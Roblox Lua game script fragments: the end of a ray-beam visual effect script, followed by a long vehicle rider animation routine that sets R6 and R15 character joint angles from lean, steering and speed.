for i, v in pairs(Rays) do
local Ray = BaseRay:Clone()
Ray.BrickColor = BrickColor.new("New Yeller")
Ray.Reflectance = 0.4
Ray.Transparency = 0.7
local Mesh = Ray.Mesh
Mesh.Scale = (Vector3.new(0.15, 0.15, (v.Distance / 1)) * 5)
Ray.CFrame = (v.Direction * CFrame.new(0, 0, (-0.5 * v.Distance)))
Debris:AddItem(Ray, (0.1 / (#Rays - (i - 1))))
Ray.Parent = Camera
end
end
pcall(function()
local StartPosition = script:WaitForChild("StartPosition").Value
local TargetPosition = script:WaitForChild("TargetPosition").Value
local RayHit = script:WaitForChild("RayHit").Value
FireRay(StartPosition, TargetPosition)
if RayHit then
PlaySound(TargetPosition, Sounds.RayHit)
end
end)
Debris:AddItem(script, 1)
|
--Dont touch |
ZR15RightLegPointZero = 0
XR15RightLegPointZero = 0
YR15RightLegPointZero = 0
R15RightKneePointZero = 0
ZR15RightArmPointZero = 0
YR15RightArmPointZero = 0
XR15RightArmPointZero = 0
R15RightElbowPointZero = 0
ZR15LeftLegPointZero = 0
XR15LeftLegPointZero = 0
YR15LeftLegPointZero = 0
R15LeftKneePointZero = 0
ZR15LeftArmPointZero = 0
YR15LeftArmPointZero = 0
XR15LeftArmPointZero = 0
R15LeftElbowPointZero = 0
ZR15LowerTorsoPointZero = 0
XR15LowerTorsoPointZero = 0
YR15LowerTorsoPointZero = 0
ZR15UpperTorsoPointZero = 0
car.DriveSeat.ChildRemoved:connect(function(child)
handler:FireServer("RemovePlayer",C,child)
end)
handler:FireServer("CreatePlayer",C)
while wait(clock) do
--value*(1-multiplier)+endpoint*multiplier
Lean = math.rad(-car.Body.bal.Orientation.Z)
if C.Humanoid.RigType == Enum.HumanoidRigType.R6 then
if math.abs(Lean) < R6HeadZ then
car.Misc.Anims.R6.Head.Z.M.CurrentAngle = math.abs(Lean)
else
car.Misc.Anims.R6.Head.Z.M.CurrentAngle = R6HeadZ
end
if Lean < R6HeadX and Lean > -R6HeadX then
car.Misc.Anims.R6.Head.X.M.CurrentAngle = Lean
elseif Lean > R6HeadX then
car.Misc.Anims.R6.Head.X.M.CurrentAngle = R6HeadX
elseif Lean < -R6HeadX then
car.Misc.Anims.R6.Head.X.M.CurrentAngle = -R6HeadX
end
if script.Parent.Values.SteerT.Value > 0.01 then
car.Misc.Anims.R6.Head.Y.M.CurrentAngle = car.Misc.Anims.R6.Head.Y.M.CurrentAngle*(1-.1)+math.min((math.abs(script.Parent.Values.SteerT.Value)*(car.DriveSeat.Velocity.magnitude/20))+(math.abs(script.Parent.Values.SteerT.Value)*R6HeadYStart), R6HeadYFinish)*.1
elseif script.Parent.Values.SteerT.Value < -0.01 then
car.Misc.Anims.R6.Head.Y.M.CurrentAngle = car.Misc.Anims.R6.Head.Y.M.CurrentAngle*(1-.1)+math.max(-(math.abs(script.Parent.Values.SteerT.Value)*(car.DriveSeat.Velocity.magnitude/20))+(math.abs(script.Parent.Values.SteerT.Value)*-R6HeadYStart), -R6HeadYFinish)*.1
else
car.Misc.Anims.R6.Head.Y.M.CurrentAngle = car.Misc.Anims.R6.Head.Y.M.CurrentAngle*(1-.1)+0*.1
end
if car.DriveSeat.Velocity.magnitude > 5 then
if Lean < 0 then
car.Misc.Anims.R6.RightLeg.I.M.CurrentAngle = car.Misc.Anims.R6.RightLeg.I.M.CurrentAngle*(1-.1)+0*.1
car.Misc.Anims.R6.RightLeg.Z.M.CurrentAngle = car.Misc.Anims.R6.RightLeg.Z.M.CurrentAngle*(1-.1)+((math.min(math.abs(Lean/R6RightLegLeftLeanD),R6RightLegLeftLean)*R6RightLegLeftLeanM))*.1
car.Misc.Anims.R6.LeftLeg.Z.M.CurrentAngle = car.Misc.Anims.R6.LeftLeg.Z.M.CurrentAngle*(1-.1)+0*.1
car.Misc.Anims.R6.RightArm.Y.M.CurrentAngle = car.Misc.Anims.R6.RightArm.Y.M.CurrentAngle*(1-.1)+((math.min(math.abs(Lean/R6RightArmLeftLeanD),R6RightArmLeftLean)*R6RightArmLeftLeanM))*.1
car.Misc.Anims.R6.LeftArm.Y.M.CurrentAngle = car.Misc.Anims.R6.LeftArm.Y.M.CurrentAngle*(1-.1)+(-(math.min(math.abs(Lean/R6LeftArmLeftLeanD),R6LeftArmLeftLean)*R6LeftArmLeftLeanM))*.1
car.Misc.Anims.R6.RightLeg.X.M.CurrentAngle = car.Misc.Anims.R6.RightLeg.X.M.CurrentAngle*(1-.1)+(-(math.min(math.abs(Lean/R6RightLegLeftLeanD),R6RightLegLeftLean)*R6RightLegLeftLeanM))*.1
car.Misc.Anims.R6.LeftLeg.X.M.CurrentAngle = car.Misc.Anims.R6.LeftLeg.X.M.CurrentAngle*(1-.1)+(-(math.min(math.abs(Lean/R6LeftLegLeftLeanD),R6LeftLegLeftLean)*R6LeftLegLeftLeanM))*.1
car.Misc.Anims.R6.Torso.X.M.CurrentAngle = car.Misc.Anims.R6.Torso.X.M.CurrentAngle*(1-.1)+((math.min(math.abs(Lean/R6TorsoLeftLeanD),R6TorsoLeftLean)*R6TorsoLeftLeanM))*.1
else
car.Misc.Anims.R6.RightLeg.I.M.CurrentAngle = car.Misc.Anims.R6.RightLeg.I.M.CurrentAngle*(1-.1)+0*.1
car.Misc.Anims.R6.RightLeg.Z.M.CurrentAngle = car.Misc.Anims.R6.RightLeg.Z.M.CurrentAngle*(1-.1)+0*.1
car.Misc.Anims.R6.LeftLeg.Z.M.CurrentAngle = car.Misc.Anims.R6.LeftLeg.Z.M.CurrentAngle*(1-.1)+((math.min(math.abs(Lean/R6LeftLegRightLeanD),R6LeftLegRightLean)*R6LeftLegRightLeanM))*.1
car.Misc.Anims.R6.RightArm.Y.M.CurrentAngle = car.Misc.Anims.R6.RightArm.Y.M.CurrentAngle*(1-.1)+(-(math.min(math.abs(Lean/R6RightArmRightLeanD),R6RightArmRightLean)*R6RightArmRightLeanM))*.1
car.Misc.Anims.R6.LeftArm.Y.M.CurrentAngle = car.Misc.Anims.R6.LeftArm.Y.M.CurrentAngle*(1-.1)+((math.min(math.abs(Lean/R6LeftArmRightLeanD),R6LeftArmRightLean)*R6LeftArmRightLeanM))*.1
car.Misc.Anims.R6.RightLeg.X.M.CurrentAngle = car.Misc.Anims.R6.RightLeg.X.M.CurrentAngle*(1-.1)+((math.min(math.abs(Lean/R6RightLegRightLeanD),R6RightLegRightLean)*R6RightLegRightLeanM))*.1
car.Misc.Anims.R6.LeftLeg.X.M.CurrentAngle = car.Misc.Anims.R6.LeftLeg.X.M.CurrentAngle*(1-.1)+((math.min(math.abs(Lean/R6LeftLegRightLeanD),R6LeftLegRightLean)*R6LeftLegRightLeanM))*.1
car.Misc.Anims.R6.Torso.X.M.CurrentAngle = car.Misc.Anims.R6.Torso.X.M.CurrentAngle*(1-.1)+(-(math.min(math.abs(Lean/R6TorsoRightLeanD),R6TorsoRightLean)*R6TorsoRightLeanM))*.1
end
else
car.Misc.Anims.R6.Torso.X.M.CurrentAngle = car.Misc.Anims.R6.Torso.X.M.CurrentAngle*(1-.1)+(-.3)*.1
car.Misc.Anims.R6.RightArm.Y.M.CurrentAngle = car.Misc.Anims.R6.RightArm.Y.M.CurrentAngle*(1-.1)+(-.3)*.1
car.Misc.Anims.R6.RightArm.Z.M.CurrentAngle = car.Misc.Anims.R6.RightArm.Z.M.CurrentAngle*(1-.1)+.5*.1
car.Misc.Anims.R6.LeftArm.Y.M.CurrentAngle = car.Misc.Anims.R6.LeftArm.Y.M.CurrentAngle*(1-.1)+.4*.1
car.Misc.Anims.R6.LeftLeg.X.M.CurrentAngle = car.Misc.Anims.R6.LeftLeg.X.M.CurrentAngle*(1-.1)+.2*.1
car.Misc.Anims.R6.LeftLeg.Z.M.CurrentAngle = car.Misc.Anims.R6.LeftLeg.Z.M.CurrentAngle*(1-.1)+.3*.1
car.Misc.Anims.R6.RightLeg.I.M.CurrentAngle = car.Misc.Anims.R6.RightLeg.I.M.CurrentAngle*(1-.1)+1*.1
car.Misc.Anims.R6.RightLeg.X.M.CurrentAngle = car.Misc.Anims.R6.RightLeg.X.M.CurrentAngle*(1-.1)+.8*.1
car.Misc.Anims.R6.RightLeg.Z.M.CurrentAngle = car.Misc.Anims.R6.RightLeg.Z.M.CurrentAngle*(1-.1)+.5*.1
end
if car.DriveSeat.Velocity.magnitude > TuckInSpeed then
car.Misc.Anims.R6.Torso.Z.M.CurrentAngle = car.Misc.Anims.R6.Torso.Z.M.CurrentAngle*(1-.1)+((R6TorsoTuckIn-math.min(math.abs(Lean),R6TorsoTuckIn))*script.Parent.Values.Throttle.Value)*.1
car.Misc.Anims.R6.RightArm.Z.M.CurrentAngle = car.Misc.Anims.R6.RightArm.Z.M.CurrentAngle*(1-.1)+((R6RightArmTuckIn-math.min(math.abs(Lean),R6RightArmTuckIn))*script.Parent.Values.Throttle.Value)*.1
car.Misc.Anims.R6.LeftArm.Z.M.CurrentAngle = car.Misc.Anims.R6.LeftArm.Z.M.CurrentAngle*(1-.1)+((R6LeftArmTuckIn-math.min(math.abs(Lean),R6LeftArmTuckIn))*script.Parent.Values.Throttle.Value)*.1
else
car.Misc.Anims.R6.Torso.Z.M.CurrentAngle = car.Misc.Anims.R6.Torso.Z.M.CurrentAngle*(1-.15)+0*.15
car.Misc.Anims.R6.RightArm.Z.M.CurrentAngle = car.Misc.Anims.R6.RightArm.Z.M.CurrentAngle*(1-.15)+0*.15
car.Misc.Anims.R6.LeftArm.Z.M.CurrentAngle = car.Misc.Anims.R6.LeftArm.Z.M.CurrentAngle*(1-.15)+0*.15
end
else --r15
if math.abs(Lean) < R15HeadZ then
car.Misc.Anims.R15.Torso.Head.Z.M.CurrentAngle = math.abs(Lean)
else
car.Misc.Anims.R15.Torso.Head.Z.M.CurrentAngle = R15HeadZ
end
if Lean < R15HeadX and Lean > -R15HeadX then
car.Misc.Anims.R15.Torso.Head.X.M.CurrentAngle = Lean
elseif Lean > R15HeadX then
car.Misc.Anims.R15.Torso.Head.X.M.CurrentAngle = R15HeadX
elseif Lean < -R15HeadX then
car.Misc.Anims.R15.Torso.Head.X.M.CurrentAngle = -R15HeadX
end
if script.Parent.Values.SteerT.Value > 0.01 then
car.Misc.Anims.R15.Torso.Head.Y.M.CurrentAngle = car.Misc.Anims.R15.Torso.Head.Y.M.CurrentAngle*(1-.1)+math.min((math.abs(script.Parent.Values.SteerT.Value)*(car.DriveSeat.Velocity.magnitude/20))+(math.abs(script.Parent.Values.SteerT.Value)*R15HeadYStart), R15HeadYFinish)*.1
elseif script.Parent.Values.SteerT.Value < -0.01 then
car.Misc.Anims.R15.Torso.Head.Y.M.CurrentAngle = car.Misc.Anims.R15.Torso.Head.Y.M.CurrentAngle*(1-.1)+math.max(-(math.abs(script.Parent.Values.SteerT.Value)*(car.DriveSeat.Velocity.magnitude/20))+(math.abs(script.Parent.Values.SteerT.Value)*-R15HeadYStart), -R15HeadYFinish)*.1
else
car.Misc.Anims.R15.Torso.Head.Y.M.CurrentAngle = car.Misc.Anims.R15.Torso.Head.Y.M.CurrentAngle*(1-.1)+0*.1
end
if car.DriveSeat.Velocity.magnitude < TuckInSpeed and car.DriveSeat.Velocity.magnitude > 5 then
--upright
car.Misc.Anims.R15.RightLeg.Foot.I.M.CurrentAngle = car.Misc.Anims.R15.RightLeg.Foot.I.M.CurrentAngle*(1-.1)+0*.1
ZR15RightLegPointZero = ZR15RightLegPointZero*(1-.1)+0*.1
XR15RightLegPointZero = XR15RightLegPointZero*(1-.1)+0*.1
YR15RightLegPointZero = YR15RightLegPointZero*(1-.1)+0*.1
R15RightKneePointZero = R15RightKneePointZero*(1-.1)+0*.1
ZR15RightArmPointZero = ZR15RightArmPointZero*(1-.1)+0*.1
YR15RightArmPointZero = YR15RightArmPointZero*(1-.1)+0*.1
XR15RightArmPointZero = XR15RightArmPointZero*(1-.1)+0*.1
R15RightElbowPointZero = R15RightElbowPointZero*(1-.1)+0*.1
ZR15LeftLegPointZero = ZR15LeftLegPointZero*(1-.1)+0*.1
XR15LeftLegPointZero = XR15LeftLegPointZero*(1-.1)+0*.1
YR15LeftLegPointZero = YR15LeftLegPointZero*(1-.1)+0*.1
R15LeftKneePointZero = R15LeftKneePointZero*(1-.1)+0*.1
ZR15LeftArmPointZero = ZR15LeftArmPointZero*(1-.1)+0*.1
YR15LeftArmPointZero = YR15LeftArmPointZero*(1-.1)+0*.1
XR15LeftArmPointZero = XR15LeftArmPointZero*(1-.1)+0*.1
R15LeftElbowPointZero = R15LeftElbowPointZero*(1-.1)+0*.1
ZR15LowerTorsoPointZero = ZR15LowerTorsoPointZero*(1-.1)+0*.1
XR15LowerTorsoPointZero = XR15LowerTorsoPointZero*(1-.1)+0*.1
YR15LowerTorsoPointZero = YR15LowerTorsoPointZero*(1-.1)+0*.1
ZR15UpperTorsoPointZero = ZR15UpperTorsoPointZero*(1-.1)+0*.1
elseif car.DriveSeat.Velocity.magnitude >= TuckInSpeed and car.DriveSeat.Velocity.magnitude>5 then
--tuck in
car.Misc.Anims.R15.RightLeg.Foot.I.M.CurrentAngle = car.Misc.Anims.R15.RightLeg.Foot.I.M.CurrentAngle*(1-.1)+0*.1
ZR15RightLegPointZero = ZR15RightLegPointZero*(1-.1)+(ZR15RightLegTuckIn*script.Parent.Values.Throttle.Value)*.1
XR15RightLegPointZero = XR15RightLegPointZero*(1-.1)+(XR15RightLegTuckIn*script.Parent.Values.Throttle.Value)*.1
YR15RightLegPointZero = YR15RightLegPointZero*(1-.1)+(YR15RightLegTuckIn*script.Parent.Values.Throttle.Value)*.1
R15RightKneePointZero = R15RightKneePointZero*(1-.1)+(R15RightKneeTuckIn*script.Parent.Values.Throttle.Value)*.1
ZR15RightArmPointZero = ZR15RightArmPointZero*(1-.1)+(ZR15RightArmTuckIn*script.Parent.Values.Throttle.Value)*.1
YR15RightArmPointZero = YR15RightArmPointZero*(1-.1)+(YR15RightArmTuckIn*script.Parent.Values.Throttle.Value)*.1
XR15RightArmPointZero = XR15RightArmPointZero*(1-.1)+(XR15RightArmTuckIn*script.Parent.Values.Throttle.Value)*.1
R15RightElbowPointZero = R15RightElbowPointZero*(1-.1)+(R15RightElbowTuckIn*script.Parent.Values.Throttle.Value)*.1
ZR15LeftLegPointZero = ZR15LeftLegPointZero*(1-.1)+(ZR15LeftLegTuckIn*script.Parent.Values.Throttle.Value)*.1
XR15LeftLegPointZero = XR15LeftLegPointZero*(1-.1)+(XR15LeftLegTuckIn*script.Parent.Values.Throttle.Value)*.1
YR15LeftLegPointZero = YR15LeftLegPointZero*(1-.1)+(YR15LeftLegTuckIn*script.Parent.Values.Throttle.Value)*.1
R15LeftKneePointZero = R15LeftKneePointZero*(1-.1)+(R15LeftKneeTuckIn*script.Parent.Values.Throttle.Value)*.1
ZR15LeftArmPointZero = ZR15LeftArmPointZero*(1-.1)+(ZR15LeftArmTuckIn*script.Parent.Values.Throttle.Value)*.1
YR15LeftArmPointZero = YR15LeftArmPointZero*(1-.1)+(YR15LeftArmTuckIn*script.Parent.Values.Throttle.Value)*.1
XR15LeftArmPointZero = XR15LeftArmPointZero*(1-.1)+(XR15LeftArmTuckIn*script.Parent.Values.Throttle.Value)*.1
R15LeftElbowPointZero = R15LeftElbowPointZero*(1-.1)+(R15LeftElbowTuckIn*script.Parent.Values.Throttle.Value)*.1
ZR15LowerTorsoPointZero = ZR15LowerTorsoPointZero*(1-.1)+(ZR15LowerTorsoTuckIn*script.Parent.Values.Throttle.Value)*.1
XR15LowerTorsoPointZero = XR15LowerTorsoPointZero*(1-.1)+(XR15LowerTorsoTuckIn*script.Parent.Values.Throttle.Value)*.1
YR15LowerTorsoPointZero = YR15LowerTorsoPointZero*(1-.1)+(YR15LowerTorsoTuckIn*script.Parent.Values.Throttle.Value)*.1
ZR15UpperTorsoPointZero = ZR15UpperTorsoPointZero*(1-.1)+(ZR15UpperTorsoTuckIn*script.Parent.Values.Throttle.Value)*.1
else
--idle
car.Misc.Anims.R15.RightLeg.Foot.I.M.CurrentAngle = car.Misc.Anims.R15.RightLeg.Foot.I.M.CurrentAngle*(1-.18)+1*.18
ZR15RightLegPointZero = ZR15RightLegPointZero*(1-.1)+0.6*.1
XR15RightLegPointZero = XR15RightLegPointZero*(1-.18)+-.8*.18
YR15RightLegPointZero = YR15RightLegPointZero*(1-.1)+0.4*.1
R15RightKneePointZero = R15RightKneePointZero*(1-.18)+-1.8*.18
ZR15RightArmPointZero = ZR15RightArmPointZero*(1-.1)+0.25*.1
YR15RightArmPointZero = YR15RightArmPointZero*(1-.1)+0.3*.1
XR15RightArmPointZero = XR15RightArmPointZero*(1-.1)+-0.12*.1
R15RightElbowPointZero = R15RightElbowPointZero*(1-.1)+0.25*.1
ZR15LeftLegPointZero = ZR15LeftLegPointZero*(1-.1)+-.05*.1
XR15LeftLegPointZero = XR15LeftLegPointZero*(1-.1)+0.15*.1
YR15LeftLegPointZero = YR15LeftLegPointZero*(1-.1)+0.5*.1
R15LeftKneePointZero = R15LeftKneePointZero*(1-.1)+.5*.1
ZR15LeftArmPointZero = ZR15LeftArmPointZero*(1-.1)+0*.1
YR15LeftArmPointZero = YR15LeftArmPointZero*(1-.1)+0.4*.1
XR15LeftArmPointZero = XR15LeftArmPointZero*(1-.1)+0.05*.1
R15LeftElbowPointZero = R15LeftElbowPointZero*(1-.1)+0.1*.1
ZR15LowerTorsoPointZero = ZR15LowerTorsoPointZero*(1-.1)+0*.1
XR15LowerTorsoPointZero = XR15LowerTorsoPointZero*(1-.1)+-.25*.1
YR15LowerTorsoPointZero = YR15LowerTorsoPointZero*(1-.1)+0.15*.1
ZR15UpperTorsoPointZero = ZR15UpperTorsoPointZero*(1-.1)+0*.1
end
if Lean > 0 then
--right lean
car.Misc.Anims.R15.RightLeg.Foot.Z.M.CurrentAngle = ((ZR15RightLegPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(ZR15RightLegRightLean*math.abs(Lean))/ZR15RightLegRightLeanD)*ZR15RightLegRightLeanM
car.Misc.Anims.R15.RightLeg.Foot.X.M.CurrentAngle = ((XR15RightLegPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(XR15RightLegRightLean*math.abs(Lean))/XR15RightLegRightLeanD)*XR15RightLegRightLeanM
car.Misc.Anims.R15.RightLeg.Foot.Y.M.CurrentAngle = ((YR15RightLegPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(YR15RightLegRightLean*math.abs(Lean))/YR15RightLegRightLeanD)*YR15RightLegRightLeanM
car.Misc.Anims.R15.RightLeg.UpperLeg.X.M.CurrentAngle = ((R15RightKneePointZero*math.max(-((math.abs(Lean)*2)-1),0))+(R15RightKneeRightLean*math.abs(Lean))/R15RightKneeRightLeanD)*R15RightKneeRightLeanM
car.Misc.Anims.R15.RightArm.Hand.Z.M.CurrentAngle = ((ZR15RightArmPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(ZR15RightArmRightLean*math.abs(Lean))/ZR15RightArmRightLeanD)*ZR15RightArmRightLeanM
car.Misc.Anims.R15.RightArm.Hand.X.M.CurrentAngle = ((XR15RightArmPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(XR15RightArmRightLean*math.abs(Lean))/XR15RightArmRightLeanD)*XR15RightArmRightLeanM
car.Misc.Anims.R15.RightArm.Hand.Y.M.CurrentAngle = ((YR15RightArmPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(YR15RightArmRightLean*math.abs(Lean))/YR15RightArmRightLeanD)*YR15RightArmRightLeanM
car.Misc.Anims.R15.RightArm.UpperArm.X.M.CurrentAngle = ((R15RightElbowPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(R15RightElbowRightLean*math.abs(Lean))/R15RightElbowRightLeanD)*R15RightElbowRightLeanM
car.Misc.Anims.R15.LeftLeg.Foot.Z.M.CurrentAngle = ((ZR15LeftLegPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(ZR15LeftLegRightLean*math.abs(Lean))/ZR15LeftLegRightLeanD)*ZR15LeftLegRightLeanM
car.Misc.Anims.R15.LeftLeg.Foot.X.M.CurrentAngle = ((XR15LeftLegPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(XR15LeftLegRightLean*math.abs(Lean))/XR15LeftLegRightLeanD)*XR15LeftLegRightLeanM
car.Misc.Anims.R15.LeftLeg.Foot.Y.M.CurrentAngle = ((YR15LeftLegPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(YR15LeftLegRightLean*math.abs(Lean))/YR15LeftLegRightLeanD)*YR15LeftLegRightLeanM
car.Misc.Anims.R15.LeftLeg.UpperLeg.X.M.CurrentAngle = ((R15LeftKneePointZero*math.max(-((math.abs(Lean)*2)-1),0))+(R15LeftKneeRightLean*math.abs(Lean))/R15LeftKneeRightLeanD)*R15LeftKneeRightLeanM
car.Misc.Anims.R15.LeftArm.Hand.Z.M.CurrentAngle = ((ZR15LeftArmPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(ZR15LeftArmRightLean*math.abs(Lean))/ZR15LeftArmRightLeanD)*ZR15LeftArmRightLeanM
car.Misc.Anims.R15.LeftArm.Hand.X.M.CurrentAngle = ((XR15LeftArmPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(XR15LeftArmRightLean*math.abs(Lean))/XR15LeftArmRightLeanD)*XR15LeftArmRightLeanM
car.Misc.Anims.R15.LeftArm.Hand.Y.M.CurrentAngle = ((YR15LeftArmPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(YR15LeftArmRightLean*math.abs(Lean))/YR15LeftArmRightLeanD)*YR15LeftArmRightLeanM
car.Misc.Anims.R15.LeftArm.UpperArm.X.M.CurrentAngle = ((R15LeftElbowPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(R15LeftElbowRightLean*math.abs(Lean))/R15LeftElbowRightLeanD)*R15LeftElbowRightLeanM
car.Misc.Anims.R15.Torso.LowerTorso.Z.M.CurrentAngle = ((ZR15LowerTorsoPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(ZR15LowerTorsoRightLean*math.abs(Lean))/ZR15LowerTorsoRightLeanD)*ZR15LowerTorsoRightLeanM
car.Misc.Anims.R15.Torso.LowerTorso.X.M.CurrentAngle = ((XR15LowerTorsoPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(XR15LowerTorsoRightLean*math.abs(Lean))/XR15LowerTorsoRightLeanD)*XR15LowerTorsoRightLeanM
car.Misc.Anims.R15.Torso.LowerTorso.Y.M.CurrentAngle = ((YR15LowerTorsoPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(YR15LowerTorsoRightLean*math.abs(Lean))/YR15LowerTorsoRightLeanD)*YR15LowerTorsoRightLeanM
car.Misc.Anims.R15.Torso.UpperTorso.Z.M.CurrentAngle = ((ZR15UpperTorsoPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(ZR15UpperTorsoRightLean*math.abs(Lean))/ZR15UpperTorsoRightLeanD)*ZR15UpperTorsoRightLeanM
else
--left lean
car.Misc.Anims.R15.RightLeg.Foot.Z.M.CurrentAngle = ((ZR15RightLegPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(ZR15RightLegLeftLean*math.abs(Lean))/ZR15RightLegLeftLeanD)*ZR15RightLegLeftLeanM
car.Misc.Anims.R15.RightLeg.Foot.X.M.CurrentAngle = ((XR15RightLegPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(XR15RightLegLeftLean*math.abs(Lean))/XR15RightLegLeftLeanD)*XR15RightLegLeftLeanM
car.Misc.Anims.R15.RightLeg.Foot.Y.M.CurrentAngle = ((YR15RightLegPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(YR15RightLegLeftLean*math.abs(Lean))/YR15RightLegLeftLeanD)*YR15RightLegLeftLeanM
car.Misc.Anims.R15.RightLeg.UpperLeg.X.M.CurrentAngle = ((R15RightKneePointZero*math.max(-((math.abs(Lean)*2)-1),0))+(R15RightKneeLeftLean*math.abs(Lean))/R15RightKneeLeftLeanD)*R15RightKneeLeftLeanM
car.Misc.Anims.R15.RightArm.Hand.Z.M.CurrentAngle = ((ZR15RightArmPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(ZR15RightArmLeftLean*math.abs(Lean))/ZR15RightArmLeftLeanD)*ZR15RightArmLeftLeanM
car.Misc.Anims.R15.RightArm.Hand.X.M.CurrentAngle = ((XR15RightArmPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(XR15RightArmLeftLean*math.abs(Lean))/XR15RightArmLeftLeanD)*XR15RightArmLeftLeanM
car.Misc.Anims.R15.RightArm.Hand.Y.M.CurrentAngle = ((YR15RightArmPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(YR15RightArmLeftLean*math.abs(Lean))/YR15RightArmLeftLeanD)*YR15RightArmLeftLeanM
car.Misc.Anims.R15.RightArm.UpperArm.X.M.CurrentAngle = ((R15RightElbowPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(R15RightElbowLeftLean*math.abs(Lean))/R15RightElbowLeftLeanD)*R15RightElbowLeftLeanM
car.Misc.Anims.R15.LeftLeg.Foot.Z.M.CurrentAngle = ((ZR15LeftLegPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(ZR15LeftLegLeftLean*math.abs(Lean))/ZR15LeftLegLeftLeanD)*ZR15LeftLegLeftLeanM
car.Misc.Anims.R15.LeftLeg.Foot.X.M.CurrentAngle = ((XR15LeftLegPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(XR15LeftLegLeftLean*math.abs(Lean))/XR15LeftLegLeftLeanD)*XR15LeftLegLeftLeanM
car.Misc.Anims.R15.LeftLeg.Foot.Y.M.CurrentAngle = ((YR15LeftLegPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(YR15LeftLegLeftLean*math.abs(Lean))/YR15LeftLegLeftLeanD)*YR15LeftLegLeftLeanM
car.Misc.Anims.R15.LeftLeg.UpperLeg.X.M.CurrentAngle = ((R15LeftKneePointZero*math.max(-((math.abs(Lean)*2)-1),0))+(R15LeftKneeLeftLean*math.abs(Lean))/R15LeftKneeLeftLeanD)*R15LeftKneeLeftLeanM
car.Misc.Anims.R15.LeftArm.Hand.Z.M.CurrentAngle = ((ZR15LeftArmPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(ZR15LeftArmLeftLean*math.abs(Lean))/ZR15LeftArmLeftLeanD)*ZR15LeftArmLeftLeanM
car.Misc.Anims.R15.LeftArm.Hand.X.M.CurrentAngle = ((XR15LeftArmPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(XR15LeftArmLeftLean*math.abs(Lean))/XR15LeftArmLeftLeanD)*XR15LeftArmLeftLeanM
car.Misc.Anims.R15.LeftArm.Hand.Y.M.CurrentAngle = ((YR15LeftArmPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(YR15LeftArmLeftLean*math.abs(Lean))/YR15LeftArmLeftLeanD)*YR15LeftArmLeftLeanM
car.Misc.Anims.R15.LeftArm.UpperArm.X.M.CurrentAngle = ((R15LeftElbowPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(R15LeftElbowLeftLean*math.abs(Lean))/R15LeftElbowLeftLeanD)*R15LeftElbowLeftLeanM
car.Misc.Anims.R15.Torso.LowerTorso.Z.M.CurrentAngle = ((ZR15LowerTorsoPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(ZR15LowerTorsoLeftLean*math.abs(Lean))/ZR15LowerTorsoLeftLeanD)*ZR15LowerTorsoLeftLeanM
car.Misc.Anims.R15.Torso.LowerTorso.X.M.CurrentAngle = ((XR15LowerTorsoPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(XR15LowerTorsoLeftLean*math.abs(Lean))/XR15LowerTorsoLeftLeanD)*XR15LowerTorsoLeftLeanM
car.Misc.Anims.R15.Torso.LowerTorso.Y.M.CurrentAngle = ((YR15LowerTorsoPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(YR15LowerTorsoLeftLean*math.abs(Lean))/YR15LowerTorsoLeftLeanD)*YR15LowerTorsoLeftLeanM
car.Misc.Anims.R15.Torso.UpperTorso.Z.M.CurrentAngle = ((ZR15UpperTorsoPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(ZR15UpperTorsoLeftLean*math.abs(Lean))/ZR15UpperTorsoLeftLeanD)*ZR15UpperTorsoLeftLeanM
end
end
end
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